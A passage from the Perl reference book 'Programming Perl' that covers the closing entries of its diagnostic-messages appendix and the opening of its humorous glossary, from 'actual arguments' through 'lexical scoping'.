local $[ = 0;
local $[ = 1;
...

This is to prevent the problem of one module changing the array base out from under another module inadvertently. See the section on $[ in Chapter 2.

The %s function is unimplemented

(F) The function indicated isn't implemented on this architecture, according to the probings of Configure.

The crypt() function is unimplemented due to excessive paranoia.

(F) Configure couldn't find the crypt(3) function on your machine, probably because your vendor didn't supply it, probably because they think the U.S. government thinks it's a secret, or at least that they will continue to pretend that it is. And if you quote me on that, I will deny it.

The stat preceding -l _ wasn't an lstat

(F) It makes no sense to test the current stat buffer for symbolic linkhood if the last stat that wrote to the stat buffer already went past the symlink to get to the real file. Use an actual filename instead.

times not implemented

(F) Your version of the C library apparently doesn't do times(3). I suspect you're not running on UNIX.

Too few args to syscall

(F) There has to be at least one argument to syscall to specify the system call to call, silly dilly.

Too many ('s

Too many )'s

(A) You've accidentally run your script through csh instead of perl. Check the #! line, or manually feed your script into perl yourself.

Too many args to syscall

(F) Perl supports a maximum of 14 args to syscall.

Too many arguments for %s

(F) The function requires fewer arguments than you specified.

trailing \ in regexp

(F) The regular expression ends with an unbackslashed backslash. Backslash it.

Translation pattern not terminated

(F) The lexer couldn't find the interior delimiter of a tr/// or tr[][] construct.

Translation replacement not terminated

(F) The lexer couldn't find the final delimiter of a tr/// or tr[][] construct.

truncate not implemented

(F) Your machine doesn't implement a file truncation mechanism that Configure knows about.

Type of arg %d to %s must be %s (not %s)

(F) This function requires the argument in that position to be of a certain type. Arrays must be @NAME or @{EXPR}. Hashes must be %NAME or %{EXPR}. No implicit dereferencing is allowed - use the {EXPR} forms as an explicit dereference.

umask: argument is missing initial 0

(W) A umask of 222 is incorrect. It should be 0222, since octal literals always start with 0 in Perl, as in C.

Unable to create sub named "%s"

(F) You attempted to create or access a subroutine with an illegal name.

Unbalanced context: %d more PUSHes than POPs

(W) The exit code detected an internal inconsistency in how many execution contexts were entered and left.

Unbalanced saves: %d more saves than restores

(W) The exit code detected an internal inconsistency in how many values were temporarily localized.

Unbalanced scopes: %d more ENTERs than LEAVEs

(W) The exit code detected an internal inconsistency in how many blocks were entered and left.

Unbalanced tmps: %d more allocs than frees

(W) The exit code detected an internal inconsistency in how many mortal scalars were allocated and freed.

Undefined format "%s" called

(F) The format indicated doesn't seem to exist. Perhaps it's really in another package?

Undefined sort subroutine "%s" called

(F) The sort comparison routine specified doesn't seem to exist. Perhaps it's in a different package? See sort.

Undefined subroutine &%s called

(F) The subroutine indicated hasn't been defined, or if it was, it has since been undefined.

Undefined subroutine called

(F) The anonymous subroutine you're trying to call hasn't been defined, or if it was, it has since been undefined.

Undefined subroutine in sort

(F) The sort comparison routine specified is declared but doesn't seem to have been defined yet. See sort.

Undefined top format "%s" called

(F) The format indicated doesn't seem to exist. Perhaps it's really in another package?

unexec of %s into %s failed!

(F) The unexec() routine failed for some reason. See your local FSF representative, who probably put it there in the first place.

Unknown BYTEORDER

(F) There are no byteswapping functions for a machine with this byte order.

unmatched () in regexp

(F) Unbackslashed parentheses must always be balanced in regular expressions. If you're a vi user, the % key is valuable for finding the matching parenthesis.

Unmatched right bracket

(F) The lexer counted more closing curly brackets (braces) than opening ones, so you're probably missing an opening bracket. As a general rule, you'll find the missing one (so to speak) near the place you were last editing.

unmatched [] in regexp

(F) The brackets around a character class must match. If you wish to include a closing bracket in a character class, backslash it or put it first.

Unquoted string "%s" may clash with future reserved word

(W) You used a bareword that might someday be claimed as a reserved word. It's best to put such a word in quotes, or capitalize it somehow, or insert an underbar into it. You might also declare it as a subroutine.

Unrecognized character \%d ignored

(S) A garbage character was found in the input, and ignored, in case it's a weird control character on an EBCDIC machine, or some such.

Unrecognized signal name "%s"

(F) You specified a signal name to the kill function that was not recognized. Say kill -l in your shell to see the valid signal names on your system.

Unrecognized switch: -%s

(F) You specified an illegal option to perl. Don't do that. (If you think you didn't do that, check the #! line to see if it's supplying the bad switch on your behalf.)

Unsuccessful %s on filename containing newline

(W) A file operation was attempted on a filename, and that operation failed, probably because the filename contained a newline, probably because you forgot to chop or chomp it off. See chop.

Unsupported directory function "%s" called

(F) Your machine doesn't support opendir(3) and readdir(3).

Unsupported function %s

(F) This machine doesn't implement the indicated function, apparently. At least, Configure doesn't think so.

Unsupported socket function "%s" called

(F) Your machine doesn't support the Berkeley socket mechanism, or at least that's what Configure thought.

Unterminated <> operator

(F) The lexer saw a left angle bracket in a place where it was expecting a term, so it's looking for the corresponding right angle bracket, and not finding it. Chances are you left out some needed parentheses earlier in the line, and you really meant a "less than".

Use of $# is deprecated

(D) This was an ill-advised attempt to emulate a poorly defined awk feature. Use an explicit printf or sprintf instead.

Use of $* is deprecated

(D) This variable magically turned on multiline pattern matching, both for you and for any luckless subroutine that you happen to call. You should use the new /m and /s modifiers now to do that without the dangerous action-at-a-distance effects of $*.

Use of %s in printf format not supported

(F) You attempted to use a feature of printf that is accessible only from C. This usually means there's a better way to do it in Perl.

Use of %s is deprecated

(D) The construct indicated is no longer recommended for use, generally because there's a better way to do it, and also because the old way has bad side effects.

Use of bare << to mean <<"" is deprecated

(D) You are now encouraged to use the explicitly quoted form if you wish to use a blank line as the terminator of the here-document.

Use of implicit split to @_ is deprecated

(D) It makes a lot of work for the compiler when you clobber a subroutine's argument list, so it's better if you assign the results of a split explicitly to an array (or list).

Use of uninitialized value

(W) An undefined value was used as if it were already defined. It was interpreted as a "" or a 0, but maybe it was a mistake. To suppress this warning, assign an initial value to your variables.

Useless use of %s in void context

(W) You did something without a side effect in a context that does nothing with the return value, such as a statement that doesn't return a value from a block, or the left side of a scalar comma operator. Very often this points not to stupidity on your part, but a failure of Perl to parse your program the way you thought it would. For example, you'd get this if you mixed up your C precedence with Python precedence and said

$one, $two = 1, 2;

when you meant to say

($one, $two) = (1, 2);

Another common error is to use ordinary parentheses to construct a list reference when you should be using square or curly brackets, for example, if you say

$array = (1,2);

when you should have said

$array = [1,2];

The square brackets explicitly turn a list value into a scalar value, while parentheses do not. So when a parenthesized list is evaluated in a scalar context, the comma is treated like C's comma operator, which throws away the left argument, which is not what you want.

Variable "%s" is not exported

(F) While use strict in effect, you referred to a global variable that you thought was imported from another module, because something else of the same name (usually a subroutine) is exported by that module. It usually means you put the wrong funny character on the front of your variable.

Variable name "%s::%s" used only once: possible typo

(W) Typographical errors often show up as unique names. If you had a good reason for having a unique name, then just mention it again somehow to suppress the message. You might consider declaring the variable with use vars.

Variable syntax.

(A) You've accidentally run your script through csh instead of perl. Check the #! line, or manually feed your script into perl yourself.

Warning: unable to close filehandle %s properly.

(S) The implicit close done by an open got an error indication on the close. This usually indicates your filesystem ran out of disk space.

Warning: Use of "%s" without parens is ambiguous

(S) You wrote a unary operator followed by something that looks like a binary operator that could also have been interpreted as a term or unary operator. For instance, if you know that the rand function has a default argument of 1.0, and you write

rand + 5;

you may think you wrote the same thing as

rand() + 5;

but in actual fact, you got

rand(+5);

So put in parentheses to say what you really mean.

Write on closed filehandle

(W) The filehandle you're writing to got itself closed sometime before now. Check your logic flow.

X outside of string

(F) You had a pack template that specified a relative position before the beginning of the string being unpacked. See pack.

x outside of string

(F) You had a pack template that specified a relative position after the end of the string being unpacked. See pack.

Xsub "%s" called in sort

(F) The use of an external subroutine as a sort comparison is not yet supported.

Xsub called in sort

(F) The use of an external subroutine as a sort comparison is not yet supported.

You can't use -l on a filehandle

(F) A filehandle represents an opened file, and when you opened the file it already went past any symlink you are presumably trying to look for. Use a filename instead.

YOU HAVEN'T DISABLED SET-ID SCRIPTS IN THE KERNEL YET!

(F) And you probably never will, since you probably don't have the sources to your kernel, and your vendor probably doesn't give a rip about what you want. Your best bet is to use the wrapsuid script in the eg/ directory to put a setuid C wrapper around your script.

You need to quote "%s"

(W) You assigned a bareword as a signal handler name. Unfortunately, you already have a subroutine of that name declared, which means that Perl 5 will try to call the subroutine when the assignment is executed, which is probably not what you want. (If it IS what you want, put an & in front.)

[gs]etsockopt() on closed fd

(W) You tried to get or set a socket option on a closed socket. Did you forget to check the return value of your socket call? See getsockopt.

\1 better written as $1

(W) Outside of patterns, backreferences live on as variables. The use of backslashes is grandfathered on the righthand side of a substitution, but stylistically it's better to use the variable form because other Perl programmers will expect it, and it works better if there are more than nine backreferences.

'|' and '<' may not both be specified on command line

(F) An error peculiar to VMS. Perl does its own command-line redirection, and found that STDIN was a pipe, and that you also tried to redirect STDIN using <. Only one STDIN stream to a customer, please.

'|' and '>' may not both be specified on command line

(F) An error peculiar to VMS. Perl does its own command-line redirection, and thinks you tried to redirect STDOUT both to a file and into a pipe to another command. You need to choose one or the other, though nothing's stopping you from piping into a program or Perl script which "splits" output into two streams, such as

open(OUT,">$ARGV[0]") or die "Can't write to $ARGV[0]: $!";
while (<STDIN>) {
    print STDOUT;
    print OUT;
}
close OUT;

Previous: 8.7 History Made Practical | Programming Perl | Next: Glossary
8.7 History Made Practical | Book Index | Glossary


Glossary

actual arguments

The scalar values that you supply to a function or subroutine when you call it. For instance, when you call piglatin("bingo"), the string "bingo" is the actual argument. See also argument[1] and formal arguments.

[1] When we italicize a word or phrase in here, it usually means you can find it defined elsewhere in the Glossary. Think of them as hyperlinks.

address operator

A language construct for manipulating the actual location of an object in your computer's memory. Strictly speaking, there are no such operators in Perl, since it handles all that for you automatically. You tell Perl that you want a new thingy, and Perl worries about creating, moving, and destroying the thingy for you. Not so strictly speaking, the backslash operator returns a reference to a thingy, which works much like an address. See also network address.

alternatives

A list of possible choices from which you may select only one, as in "Would you like door A, B, or C?" Alternatives in regular expressions are separated with a vertical bar: |. Alternatives in normal Perl expressions are separated with a double vertical bar: ||. You might say there are two alternatives for alternatives. (Then again, you might not. Your choice.)

anonymous

Used to describe a thingy that is not directly accessible through a named variable. Such a thingy must be indirectly accessible through at least one hard reference. When the last hard reference goes away, the anonymous thingy is destroyed without pity.

architecture

The kind of computer you're working on, where one "kind" of computer means all those computers that can run the same binary program. Since Perl scripts are text files, not binaries, a Perl script is much less sensitive to the architecture it's running on than programs in other languages (such as C) that are compiled into machine code. See also operating system.

argument

A piece of data supplied as input to a program, subroutine, or function when it is invoked to tell it what it's supposed to do. Also called a "parameter".

ARGV

The name of the array containing the argument "vector" from the command line. If you use the empty <> operator, ARGV is both the name of the filehandle used to traverse the arguments, and of the scalar containing the name of the current input file. It's also what you say to your dentist when the Novocaine isn't working.

arithmetic operator

A symbol such as + or ** that tells Perl to do arithmetic. In addition, see operator.

array

A named list of values, each of which has a unique key to identify it. In a normal array, the key is numeric (an integer, in fact). In a hash (an associative array), the key is a string.

array context

A quaint, archaic expression used by people who have read the first edition of this book. Nowadays called list context.

array literal

Strictly, a comma-separated, parenthesized LIST of scalar literals. Used loosely to refer to any parenthesized LIST even if it contains variables or expressions.

array value

Another archaic phrase. See list value.

array variable

A named list that may be processed by functions such as shift and splice that require an array name as the first argument.

ASCII

Used roughly to mean the American Standard Code for Information Interchange (a 7-bit character set), and any international extensions based on it.

assignment

An operation whose mission in life is to change the value of a variable.

assignment operator

A compound operator composed of an ordinary assignment together with some other operator, that changes the value of a variable in place, that is, relative to its old value. For example, $a += 2 adds 2 to $a.

associative array

See hash.

associativity

Determines whether you do the left operator first or the right operator first, when you have "A operator B operator C", if the two operators are of the same precedence. Operators like + are left associative, while operators like ** are right associative. See the section "Operators" in Chapter 2, The Gory Details, for a list of associativity.

autoincrement

To add one to something automatically. Usually used to describe the ++ operator.

autosplit

To split a string automatically on whitespace, such as the -a switch does in order to emulate awk.

AV

Short for "array value", which refers to one of Perl's internal data types. (Not to be confused with array value, by which people usually mean list value.) An AV is a kind of SV.

awk

Descriptive editing term - short for "awkward". Also coincidentally refers to a venerable text processing language from which Perl derived some of its ideas.

backtracking

The practice of saying, "If I had to do it all over, I'd do it differently," and then actually going back and doing it all over differently. Mathematically speaking, it's returning from an unsuccessful recursion on a tree of possibilities. Backtracking happens in Perl when it attempts to match patterns with a regular expression, and its earlier guesses don't pan out.

base class

A generic object class from which other more specific classes are derived genetically by inheritance. Also called a "superclass" by people who respect their ancestors.

BASIC/PLUS

Another ancient language, from which Perl derived exactly one idea. OK, maybe two.[2]

[2] BASIC/PLUS is a registered trademark of Digital Equipment Corporation. And the answers are: statement modifiers and maybe formats.

big-endian

From Swift: someone who eats boiled eggs big end first. Also used of computers that store the most significant byte of a word at a lower byte address than the least significant byte. Often considered superior to little-endian machines. See also little-endian.

binary

Having to do with numbers represented in base two. That means there are basically two numbers, zero and one. Some people think in binary, as shown by the kinds of questions they ask: "Should we all use Perl or Java?" Also used to describe a non-text file, presumably because such a file makes full use of all the binary bits in its bytes.

bit

A very small piece of litter. Also a number in the range zero to one, inclusive.

bit shift

The movement of bits left or right in a computer word, which has the effect of multiplying or dividing by a power of two.

bless

In corporate life, to grant official approval to a thing, as in, "The VP of Engineering has blessed our WebCruncher project." Similarly in Perl, to grant official approval to a thingy so that it can function as a WebCruncher object. See the bless function in Chapter 3, Functions.

block

What a process does when it has to wait for something: "My process blocked waiting for the disk." As an unrelated noun, it refers to a large chunk of data, of a size that the operating system likes to deal with (normally a power of two such as 512 or 8192). Typically refers to a chunk of data that's coming from or going to a disk file.

BLOCK

A syntactic construct consisting of a sequence of Perl statements bounded by braces. The if and while statements are defined in terms of BLOCKs. Sometimes we also say "block" to mean a sequence of statements that act like a BLOCK, such as within an eval or a file, even though the statements aren't bounded by braces.

block buffering

A method of making input and output efficient by doing it a block at a time. By default, Perl does block buffering to disk files. See buffer and command buffering.

Boolean context

A special kind of scalar context in which the program is expecting to decide whether the scalar value returned by an expression is true or false. See context.

breakpoint

A spot in your program where you've told the debugger to stop execution so you can poke around and see whether anything is wrong yet.

BSD

A psychoactive drug, popular in the 80s, probably developed at U. C. Berkeley or thereabouts. Similar in many ways to the prescription-only medication called "System V", but infinitely more useful. (Or, at least, more fun.) The full chemical name is "Berkeley Standard Distribution".

buffer

A temporary holding location for data. Block buffering means that the data is passed on to its destination whenever the buffer is full. Line buffering means that it's passed on whenever a complete line is received. Command buffering means that it's passed on after every print command. If your output is unbuffered, every byte is transmitted separately, without passing through a holding area.

byte

A piece of data worth eight bits in most places.

bytecode

A pidgin-like language spoken among 'droids when they don't wish to reveal their orientation (see endian). Named after some similar languages spoken (for similar reasons) between compilers and interpreters in the late twentieth century. These languages are characterized by representing everything as a non-architecture-dependent sequence of bytes.

C

A language beloved by many for its inside-out type definitions, inscrutable precedence rules, and heavy overloading of the function-call mechanism. (Well, actually, people first switched to C because they found lower-case identifiers easier to read than upper.) The Perl interpreter is written in C, so it's not surprising that Perl borrowed a few ideas from it.

C preprocessor

The typical C compiler's first pass, which processes lines beginning with # for conditional compilation and macro definition, and does various manipulations of the program text based on the current definitions. Also known as cpp(1).

call by reference

An argument-passing mechanism in which the formal arguments refer directly to the actual arguments, and the subroutine can change the actual arguments by changing the formal arguments. See also call by value.

call by value

An argument-passing mechanism in which the formal arguments refer to a copy of the actual arguments, and the subroutine cannot change the actual arguments by changing the formal arguments. (See also call by reference).

character

A small pattern of bits (usually seven, eight, or sixteen in number) that is the machine's representation of a unit of orthography. Americans typically confuse characters with bytes. So does Perl.

character class

A square-bracketed list of characters used in a regular expression to indicate that any character of the set may occur at this point.

class

A package that either defines methods (subroutines) that deal with objects of your class, or that derives methods from other packages that know how to deal with objects of your class. (Or think they know how.) See also inheritance.

class method

A method that treats the whole class as an object. One sort of class method is a constructor. (A class method is also known as a "static" method in C++ terminology.)

client

In networking, a process that initiates contact with a server process in order to exchange data with it and perhaps receive a service.

closure

An anonymous subroutine that, when generated at run-time, keeps track of the identities of externally visible lexical variables even after those lexical variables have supposedly gone out of scope. They're called "closures" because this sort of behavior gives mathematicians a sense of closure.

CODE

The word "CODE" is returned by the ref function when you apply it to a CV. See CV.

collating sequence

The order that characters sort into. This is used by string comparison routines to decide, for example, where in this glossary to put "collating sequence".

command

In shell programming, the syntactic combination of a program name with its arguments. More loosely, anything you type to a shell (a command interpreter) that starts it doing something. In Perl programming, a statement, which might start with a label, and typically ends with a semicolon.

command buffering

An option in Perl that lets you store up the output of each Perl command and then flush it out as a single request to the operating system. It's enabled by setting the $| variable to a non-zero value. It's used when you don't want data sitting around not going where it's supposed to, which may happen because the default on a file or pipe is to use block buffering. See also buffer.

command-line arguments

The values you supply along with a program name when you tell a shell to execute a command. These values are passed to a Perl script through @ARGV.

command name

The name of the program currently executing, as typed on the command line. In C the command name is passed to the program as the first command-line argument. In Perl, it comes in separately as $0.

comment

A remark that doesn't affect the meaning of the program. In Perl, a comment is introduced by a # character and continues to the end of the line.

compile-time

The time when Perl is trying to make sense of your program, as opposed to when it thinks it knows what your program means and is merely trying to do what it thinks your program says to do. See also run-time.

compiler

Strictly speaking, a program that munches up another program and spits out yet another file containing the program in a more executable form, typically containing native machine instructions. The perl program is not a compiler by this definition, but it does contain a compiler that takes a program and turns it into a more executable form (syntax trees) within the perl process itself, which the interpreter then interprets. There are, however, extension modules to get Perl to act more like a real compiler.

composer

A "constructor" for a thingy that isn't really an object, like an array or a hash. For example, a pair of braces acts as a composer for a hash, and a pair of brackets acts as a composer for an array. See "Creating Hard References" in Chapter 4, References and Nested Data Structures.

concatenation

The process of gluing one cat's nose to another cat's tail. Also, a similar operation on two strings.

conditional

Something "iffy".

connection

In telephony, the temporary electrical circuit between the caller's and the callee's phone. In networking, the same kind of temporary circuit between a client and a server.

construct

As a noun, a piece of syntax made up of smaller pieces. As a transitive verb, to create an object using a constructor.

constructor

A special class method that constructs an object and returns it. Sometimes we use the term loosely to mean a composer.

context

The surroundings, or environment. The context given by the surrounding code determines what kind of data a particular expression is expected to return. The two primary contexts are list context and scalar context. Scalar context is sometimes subdivided into Boolean context, numeric context, and string context. There's also a "don't care" context (which is dealt with in Chapter 2, if you care).

continuation

The treatment of more than one physical line as a single logical line. Makefile lines are continued by putting a backslash before the newline. Internet message headers are continued by putting a space or tab after the newline. Perl lines do not need any form of continuation mark, because whitespace (including newline) is gleefully ignored. Usually.

core dump

The corpse of a process, in the form of a file left in the working directory of the process, usually as a result of certain kinds of fatal error.

CPAN

Comprehensive Perl Archive Network. (See the Preface for more details.)

current package

Which package the current statement is compiled in. Scan backward in the text of your program until you find a package declaration at the same block level, or in an enclosing block. That's your current package name.

current working directory

See working directory.

currently selected output channel

The last filehandle that was designated with select(FILEHANDLE); the default is STDOUT, if no filehandle has been selected.

CV

An internal "code value" typedef. A CV is a kind of SV.

dangling statement

A bare, single statement, without any braces, hanging off an if or while conditional. C allows them. Perl doesn't.

data flow

What your program looks like from the perspective of a particular piece of data from the time it enters your program to the time it leaves or is combined with some other data to make new data.

data reduction

The process of extracting only the most interesting tidbits because the boss can't read fast enough.

data structure

How your various pieces of data relate to each other, and what shape they make when you put them all together, as in a rectangular table, or a triangular-shaped tree.

data type

A set of possible values, together with all the operations that know how to deal with those values. For example, a numeric data type has a certain set of numbers that you can work with, and it has various mathematical operations you can do on the numbers that would make little sense on, say, a string such as "Kilroy". Strings have their own operations, such as concatenation. Compound types made of a number of smaller pieces generally have operations to compose and decompose them, and perhaps to rearrange them. Objects that model things in the real world often have operations that correspond to real activities. For instance, if you model an elevator, your elevator object might have an open_door() method.

DBM

Stands for "Data Base Management" routines, a set of routines that emulate an associative array using disk files. The routines use a dynamic hashing scheme to locate any entry with only two disk accesses. DBM files allow a Perl script to keep a persistent hash across multiple invocations. You can tie your hash variables to various DBM implementations - see Chapter 5, Packages, Modules, and Object Classes.

declaration

An assertion you make that something exists and perhaps what it's like, without any commitment as to how or where you'll use it. A declaration is like the part of your recipe that says, "two cups flour, one large egg, four or five tadpoles...." See statement for its opposite. Note that some declarations also function as statements.

decrement

To subtract one from something.

default

A value that is chosen for you if you don't supply a value of your own.

defined

Having a meaning. Perl thinks that some of the things people try to do are devoid of meaning; in particular, making use of variables that have never been given a value, and performing certain operations on data that isn't there. For example, if you try to read data past the end of a file, Perl will hand you back an undefined value. See also false.

delimiter

Some character or string that sets bounds to an arbitrarily-sized textual object.

dereference

A fancy computer science term meaning "to follow a reference to what it points to". The "de" part of it refers to the fact that you're taking away one level of indirection.

derived class

A class that defines some of its methods in terms of a more generic class, called a base class. Note that classes aren't classified exclusively into base classes or derived classes: a class can function as both a derived class and a base class simultaneously.

destroy

To deallocate the memory of a thingy.

destructor

A special method that is called when an object is thinking about destroying itself.

device

A whiz-bang hardware gizmo (like a disk or tape drive) attached to your computer that the operating system tries to make look like a file (or a bunch of files). Under UNIX, these fake files tend to live in the /dev directory.

directory

A place where you find files, and perhaps other directories. Some operating systems call these "folders", "drawers", or "catalogs".

directory handle

A name that represents a particular instance of opening a directory to read it, until you close it.

dump

A Perl statement that is one of the many ways to get a Perl program to produce a core dump. Most of the others are undocumented.

dynamic scoping

Making variables visible throughout the rest of the block in which they are first used, as well as within any subroutines that are called by the rest of the block. Dynamically scoped variables can have their values temporarily changed (and implicitly restored later) by a local statement. Compare Lexical Scoping. Used more loosely to mean how a subroutine that is in the middle of calling another subroutine "contains" that subroutine at run-time.

eclectic

Derived from many sources. Some would say too many.

element

A basic building block. When you're talking about an array, it's one of the items that make up the array.

endian

See little-endian and big-endian.

environment

The collective set of environment variables your process inherits from its parent. Accessed via %ENV.

environment variable

A mechanism by which some high-level agent such as a user can pass its preferences down to child processes, grandchild processes, greatgrandchild processes, and so on. Each environment variable is a key/value pair, like one element of a hash.

EOF

End of File. Sometimes used metaphorically as the trailing delimiter of a here document.

errno

The error number returned by a UNIX system call when it fails. Perl refers to the error by the name $! (or $OS_ERROR if you use the English module).

exception

A fancy term for an error. See fatal error.

exception handling

The way a program responds to an error. The exception handling mechanism in Perl is the eval construct.

executable file

A file that is specially marked to tell the operating system that it's OK to run this file as a program. Abbreviated to "executable".

execute

To run a program or subroutine. (Has nothing to do with the kill command, unless you're trying to run a signal handler.)

execute bit

The special mark that tells the operating system it can run this program. There are actually three execute bits under UNIX, and which bit gets used depends on whether you own the file singularly, collectively, or not at all.

exit status

See status.

exponent

The part of a floating-point number that says where to put the decimal point in the other part. See mantissa.

export

To make symbols from your module available for import by other modules.

expression

Anything you can legally say in a spot where a value is required. Typically composed of literals, variables, operators, functions, and subroutine calls.

false

In Perl, any value that would look like "" or "0" if evaluated in a string context. Since undefined values evaluate to "", all undefined values are false, but not all false values are undefined.

fatal error

An error that causes termination of the process after printing a nasty message on your standard error stream. "Fatal" errors that happen inside an eval aren't fatal to the whole program, just to that particular eval. The nasty message then shows up in the $@ variable. You can cause a fatal error with the die operator. This is also known as throwing or raising an exception.

field

A single piece of numeric or string data that is part of a longer string, record, or line. Variable-width fields are usually separated by delimiters (so use split to extract the fields), while fixed-width fields are usually at fixed positions (so use unpack).

file

A named collection of data, usually stored on a disk in a directory. Roughly like a document, if you're into office metaphors. In some operating systems like UNIX, you can actually give a file more than one name.

file descriptor

The little number the operating system uses to keep track of which opened file you're talking about. Perl hides the file descriptor inside a standard I/O stream, and then attaches the stream to a filehandle.

file glob

A "wildcard" match on filenames.

file test operator

A built-in Perl operator that you use to determine whether something is true about a file, such as whether you could open it if you tried.

filehandle

What you pick up a file with. Or, a name (not necessarily related to the real name of a file) that represents a particular instance of opening a file until you close it. Thus if you're going to open and close several different files in succession, it's possible to open each of them with the same filehandle, so you don't have to write out separate code to process each file. It's like the game show host calling someone "Contestant #1" so that he doesn't have to remember too many names from day to day.

filename

The name for a file. This name is listed in a directory, and you can use it in an open statement to tell the operating system exactly which file you want to open.

filesystem

A set of directories and files residing on a partition of the disk. You can move a file around from directory to directory within a filesystem without actually moving the file itself, at least under UNIX.

floating point

A method of storing numbers in scientific notation, such that the precision of the number is independent of its magnitude (the decimal point "floats"). Perl does its numeric work with floating-point numbers, when it can't get away with using integers.

flush

The act of emptying a buffer, often before it's full.

fork

To create a child process identical to the parent process, at least until it gets ideas of its own.

formal arguments

Generic names a subroutine knows its arguments by. In many languages, formal arguments are always given individual names, but in Perl they are passed via arrays. The formal arguments to a Perl program are $ARGV[0], $ARGV[1], and so on. The formal arguments to a Perl subroutine are $_[0], $_[1], and so on. You may give the arguments individual names by assigning the values to a local or my list.

format

A specification of how many spaces and digits and things to put somewhere so that whatever you're printing comes out nice and pretty.

freely available

Means you don't have to pay money to get it, but the copyright on it may still belong to someone else (like Larry).

freely redistributable

Means you're not in trouble if you give a bootleg copy of it to your friends (hint).

function

Mathematically, a mapping of each of a set of input values to a particular output value. In computers, refers to a subroutine or operation that returns a value. It may or may not have input values (called arguments).

garbage collection

A misnamed feature of some programming languages - it should be called "expecting your mother to pick up after you". Strictly speaking, Perl doesn't do this, but relies on a reference counting mechanism to keep things tidy. However, when your interpreter thread exits, a kind of garbage collector runs to make sure everything is cleaned up if you've been messy with circular references and such.

GID

Group ID - in UNIX, the numeric group ID that the operating system uses to identify you and members of your group.

glob

Strictly, the shell's * character, which will match a "glob" of characters when you're trying to generate a list of filenames. Loosely, the act of using globs and similar symbols to do pattern matching.

global

Something you can see from anywhere, usually used of variables and subroutines that are visible everywhere in your program. In Perl, only certain special variables are truly global - most variables (and all subroutines) are local to the current package.

group

A set of users that you're a member of. In some operating systems (like UNIX), you can give certain file access permissions to other members of your group.

GV

An internal "glob value", meaning a typeglob. A GV is a kind of SV.

hard reference

A scalar value containing the actual address of a thingy, such that the thingy's reference count accounts for it. (Some hard references are held internally, such as the implicit reference from one of a typeglob's variable slots to its corresponding thingy.) A hard reference is different from a symbolic reference.

has-a

A relationship between two objects that is more tenuous than an is-a relationship, and that can be modeled by containment of one object in another (which in Perl means containment of a reference to the contained object.) You generally don't want to use inheritance to model the has-a relationship because methods that make sense on the contained object probably don't make sense on the object as a whole. Just because your car has-a brake pedal doesn't mean you should stomp on your car.

hash

A named list of key/value pairs, arranged such that you can easily use any key to find its associated value; a binary relation, to database users. This glossary is like a hash, where the word to be defined is the key, and the definition is the value. A hash is also sometimes called an "associative array". (Which is a good reason for calling it a hash instead.)

hash table

A method used internally by Perl for implementing associative arrays (hashes) efficiently.

header file

A file containing certain required definitions that you must include "ahead" of the rest of your program to do certain obscure operations. A C header file has a .h extension. A Perl header file has a .ph extension. See the require operator in Chapter 3. (Header files have been superseded by the module mechanism.)

here document

So called because of a similar construct in shells which pretends that the lines "right here" following the command are a separate file to be fed to the command, up to some trailing delimiter string. In Perl, however, it's just a fancy form of quoting.

hexadecimal

A number in base sixteen, "hex" for short. The digits for ten through sixteen are customarily represented by the letters a through f. Hexadecimal constants in Perl start with 0x.

home directory

The directory you are placed into when you log in. On a UNIX system, the name is often placed into $ENV{HOME} or $ENV{LOGDIR} by the login program, but you can also find it with (getpwuid($<))[7].

host

The computer on which a program or other data resides.

hubris

Excessive pride, the sort of thing Zeus zaps you for. Also the quality that makes you write (and maintain) programs that other people won't want to say bad things about. Hence, the third great virtue of a programmer. See also laziness and impatience.

HV

Short for "hash value," which refers to one of Perl's internal data types. An HV is a kind of SV.

identifier

A legally formed name for most anything in which a computer program might be interested. Many languages (including Perl) allow identifiers that start with a letter and contain letters and digits. Perl also counts the underscore character as a valid letter.

impatience

The anger you feel when the computer is being lazy. This makes you write programs that don't just react to your needs, but actually anticipate them. Or at least that pretend to. Hence, the second great virtue of a programmer. See also laziness and hubris.

import

Gain access to symbols that are exported from another module. See the use operator in Chapter 3.

increment

To add one to something.

indexing

Formerly, the act of looking up a key in an index (like the phone book), but now merely the act of using any kind of key or position to find the corresponding value, even if no index is involved. Things have degenerated to the point that Perl's index function merely locates the position (index) of one string in another.

indirect object

In English grammar, a short noun phrase between a verb and its direct object indicating the beneficiary or recipient of the action. In Perl, print STDOUT "$foo\n"; can be understood as verb indirect-object object where STDOUT is the recipient of the print action, and "$foo" is the object being printed. Similarly, when invoking a class method, you might say:

% perl
sub Bob::give { shift; print
   "Thanks for the @_!\n"; }
give Bob memories
^D
Thanks for the memories!

indirection

When Randal says, "I don't know the answer... go ask Larry." Similarly, if something in a program isn't the answer, but indicates where the answer is, that's indirection. This can be done with symbolic or hard references.

inheritance

What you get from your ancestors, genetically or otherwise. If you happen to be a class, your ancestors are called base classes and your descendants are called derived classes. See single inheritance and multiple inheritance.

integer

Number with no fractional part; whole number.

interpolation

The insertion of one piece of text somewhere in the middle of another piece of text. The inserted piece may derive from a variable or other indirect source.

interpreter

Strictly speaking, a program that reads a second program and does what the second program says directly without turning the program into a different form first, which is what compilers do. Perl is not an interpreter by this definition, because it contains a kind of compiler that takes a program and turns it into a more executable form (syntax trees) within the Perl process itself, which the Perl run-time system then interprets.

invocation

The act of calling up a program, subroutine, or function to do what it's supposed to do.

IPC

Short for Inter-Process Communication. Sometimes a process just needs to talk to some other process.

is-a

A relationship between two objects in which one object is considered to be a more specific version of the other generic object: "A camel is a mammal." Since the generic object really only exists in a platonic sense, we usually add a little abstraction to the notion of objects and think of the relationship as being between a generic base class and a specific derived class. Oddly enough, platonic classes don't always have platonic relationships - see inheritance.

iteration

Doing something again and again and again and again and again and.... Usually this is done until you're loopy, which is why they call them loops.[3]

[3] We'd put in the usual joke referring you back to Iteration, but that trick has been iterated too often already, and is no longer funny. Look for the joke under Loop instead. Also look for a similar joke under Recursion, which is still funny at some level or other.

iterator

A special programming gizmo that keeps track for you of where you are in something that you're trying to iterate over. The foreach loop in Perl contains an iterator.

key

A special kind of data, such as your Social Security number, that can be used to locate other data. The other data may be considered the value associated with the key.

keyword

See reserved word.

label

A kind of key you can give to a statement so that you can talk about that statement elsewhere in the program.

laziness

The quality that makes you go to great effort to reduce overall energy expenditure. It makes you write labor-saving programs that other people will find useful, and document what you wrote so you don't have to answer so many questions about it. Hence, the first great virtue of a programmer. Also hence, this book. See also impatience and hubris.

left shift

A bit shift that multiplies the number by some power of two.

lexical scoping

